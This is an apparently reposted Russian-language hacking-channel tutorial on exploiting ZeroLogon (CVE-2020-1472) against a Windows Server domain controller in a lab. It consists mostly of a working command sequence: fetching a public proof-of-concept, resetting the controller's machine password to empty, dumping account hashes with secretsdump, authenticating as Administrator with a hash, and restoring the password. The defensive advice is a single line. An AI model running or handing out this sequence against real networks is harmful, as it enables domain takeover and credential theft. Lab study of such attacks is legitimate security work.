ZeroLogon в Windows Server. Эксплуатация CVE-2020-1472

ZeroLogon в Windows Server. Эксплуатация CVE-2020-1472

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

— Шеф! У нас дыра в безопасности!

— Ну хоть что-то у нас в безопасности…. 

Уже достаточно много времени прошло с момента появления этой уязвимости в серверных вёндах, а я до сих пор её не описал? Непорядок! Личка ломится от ваших сообщений (нет) с вопросами “когда же? когда же?” и вот я решился. 

Собираем простой стенд, состоящий как обычно из серверной Windows 2012 и Kali Linux. 

Итак, стандартный дисклеймер – все шаги выполняются в тестовой среде. Атака очень инвазивная, так как обнуляет машинный пароль контроллера домена(!) со всеми вытекающими. Подозреваю, что могут отвалиться некоторые службы. Пароль мы конечно попытаемся вкинуть обратно, но вот кто ж знает, как оно себя поведёт? 

Погнали 

#git clone https://github.com/dirkjanm/CVE-2020-1472

Качаем репо с PoC, там же есть утилитка для восстановления пароля.

# python3 cve-2020-1472-exploit.py main 192.168.0.102

Сбиваем пароль, указав NetBIOS-имя цели и её IP-адрес.

# secretsdump.py -just-dc -no-pass 'main$'@192.168.0.102

Получаем хеши учёток, авторизовавшись с пустым паролем

Обратите внимание на строчку, подчёркнутую жёлтым цветом. MAIN$ – машинная учётка, нашего контроллера домена. Далее идут два хеша (LM:NT), так вот, NT-хеш “31d6…..” – это уже можно наизусть знать, означает пустой пароль. Но нам нужно не это. Ищем любую учётку, которая выглядит как админская. Я вижу Администратор и admin. Протестим обе.

Обратите внимание на строчку, подчёркнутую жёлтым цветом. MAIN$ – машинная учётка, нашего контроллера домена. Далее идут два хеша (LM:NT), так вот, NT-хеш “31d6…..” – это уже можно наизусть знать, означает пустой пароль. Но нам нужно не это. Ищем любую учётку, которая выглядит как админская. Я вижу Администратор и admin. Протестим обе.

# secretsdump.py -hashes :1bbe6ed9265751e8e60decb569011043 'Администратор'@192.168.0.102

Та же команда, только выполненная в контексте Администратора (не забываем указать его NT-хеш для аутентификации).

Скопируем plain_password_hex нашей MAIN$ станции (КД), чтобы установить его обратно на следующем шаге. Оставлять выжженую землю нам не надо, хеши админа мы получили, вернём всё как было.

# python3 restorepassword.py dc.local/main@main -target-ip 192.168.0.102 -hexpass 850a211154dbffd60d662b7......<тут вся эта hex-строка>

По идее теперь мы скомпрометировали контроллер домена и вернули машинный пароль на место. Кстати, а вернули ли? Проверим шаг № 3 снова:

Та же самая команда отбивается по STATUS_LOGON_FAILURE, что говорит нам о том, что пароль станции теперь по крайней мере не пустой. А какой? Ну будем надеяться, что мы скопировали HEX-строку полностью :))) 

Как защититься?

Ставьте обновления на Windows и всё, пожалуй.

Источник


Report Page